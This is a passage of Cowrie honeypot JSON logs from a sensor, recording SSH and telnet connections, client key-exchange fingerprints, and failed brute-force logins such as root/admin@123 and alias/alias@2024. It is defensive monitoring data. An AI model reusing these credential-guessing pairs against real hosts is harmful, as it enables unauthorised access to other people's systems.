ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:33:45.264728Z","src_ip":"124.13.124.212","session":"4cf57c75646c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123","message":"login attempt [es/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:33:46.279323Z","src_ip":"124.13.124.212","session":"4cf57c75646c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:33:47.525107Z","src_ip":"124.13.124.212","session":"4cf57c75646c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49208,"dst_ip":"159.203.135.109","dst_port":22,"session":"03df66ec2da2","protocol":"ssh","message":"New connection: 159.203.92.129:49208 (159.203.135.109:22) [session: 03df66ec2da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:08.859500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:08.864256Z","src_ip":"159.203.92.129","session":"03df66ec2da2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:08.869113Z","src_ip":"159.203.92.129","session":"03df66ec2da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias@2024","message":"login attempt [alias/alias@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:08.880093Z","src_ip":"159.203.92.129","session":"03df66ec2da2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:09.887800Z","src_ip":"159.203.92.129","session":"03df66ec2da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":40874,"dst_ip":"159.203.135.109","dst_port":22,"session":"969c010e42e7","protocol":"ssh","message":"New connection: 124.13.124.212:40874 (159.203.135.109:22) [session: 969c010e42e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:43.857391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:43.862259Z","src_ip":"124.13.124.212","session":"969c010e42e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:44.102816Z","src_ip":"124.13.124.212","session":"969c010e42e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qauser","password":"qauser","message":"login attempt [qauser/qauser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:45.113461Z","src_ip":"124.13.124.212","session":"969c010e42e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:46.367387Z","src_ip":"124.13.124.212","session":"969c010e42e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34986,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0dc6da66da0","protocol":"ssh","message":"New connection: 159.203.92.129:34986 (159.203.135.109:22) [session: c0dc6da66da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:52.088729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:52.125615Z","src_ip":"159.203.92.129","session":"c0dc6da66da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:52.177210Z","src_ip":"159.203.92.129","session":"c0dc6da66da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias@2025","message":"login attempt [alias/alias@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:52.259594Z","src_ip":"159.203.92.129","session":"c0dc6da66da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:34:53.267536Z","src_ip":"159.203.92.129","session":"c0dc6da66da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39936,"dst_ip":"159.203.135.109","dst_port":22,"session":"e58493b0fef6","protocol":"ssh","message":"New connection: 159.203.92.129:39936 (159.203.135.109:22) [session: e58493b0fef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:35:35.047723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:35:35.053778Z","src_ip":"159.203.92.129","session":"e58493b0fef6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:35:35.060026Z","src_ip":"159.203.92.129","session":"e58493b0fef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias@2026","message":"login attempt [alias/alias@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:35:35.084726Z","src_ip":"159.203.92.129","session":"e58493b0fef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:35:36.091679Z","src_ip":"159.203.92.129","session":"e58493b0fef6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":58390,"dst_ip":"159.203.135.109","dst_port":22,"session":"9627b22bfa01","protocol":"ssh","message":"New connection: 124.13.124.212:58390 (159.203.135.109:22) [session: 9627b22bfa01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:35:43.494628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:35:43.498960Z","src_ip":"124.13.124.212","session":"9627b22bfa01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:35:43.742776Z","src_ip":"124.13.124.212","session":"9627b22bfa01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:35:44.743920Z","src_ip":"124.13.124.212","session":"9627b22bfa01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:35:45.993859Z","src_ip":"124.13.124.212","session":"9627b22bfa01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42954,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc3d6b2ab8d4","protocol":"ssh","message":"New connection: 159.203.92.129:42954 (159.203.135.109:22) [session: dc3d6b2ab8d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:36:18.386082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:36:18.391232Z","src_ip":"159.203.92.129","session":"dc3d6b2ab8d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:36:18.396078Z","src_ip":"159.203.92.129","session":"dc3d6b2ab8d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"aliasalias","message":"login attempt [alias/aliasalias] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:36:18.434161Z","src_ip":"159.203.92.129","session":"dc3d6b2ab8d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:36:19.441164Z","src_ip":"159.203.92.129","session":"dc3d6b2ab8d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.167.216.27","src_port":4720,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c9b8992ed0c","protocol":"telnet","message":"New connection: 82.167.216.27:4720 (159.203.135.109:23) [session: 3c9b8992ed0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:36:42.678428Z"}
{"eventid":"cowrie.session.closed","duration":13.159790515899658,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:36:55.837981Z","src_ip":"82.167.216.27","session":"3c9b8992ed0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51880,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dbb57fc8f47","protocol":"ssh","message":"New connection: 159.203.92.129:51880 (159.203.135.109:22) [session: 2dbb57fc8f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:37:01.088805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:37:01.095670Z","src_ip":"159.203.92.129","session":"2dbb57fc8f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:37:01.101967Z","src_ip":"159.203.92.129","session":"2dbb57fc8f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"aliasaliasalias","message":"login attempt [alias/aliasaliasalias] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:37:01.121654Z","src_ip":"159.203.92.129","session":"2dbb57fc8f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:37:02.205380Z","src_ip":"159.203.92.129","session":"2dbb57fc8f47","protocol":"ssh"}
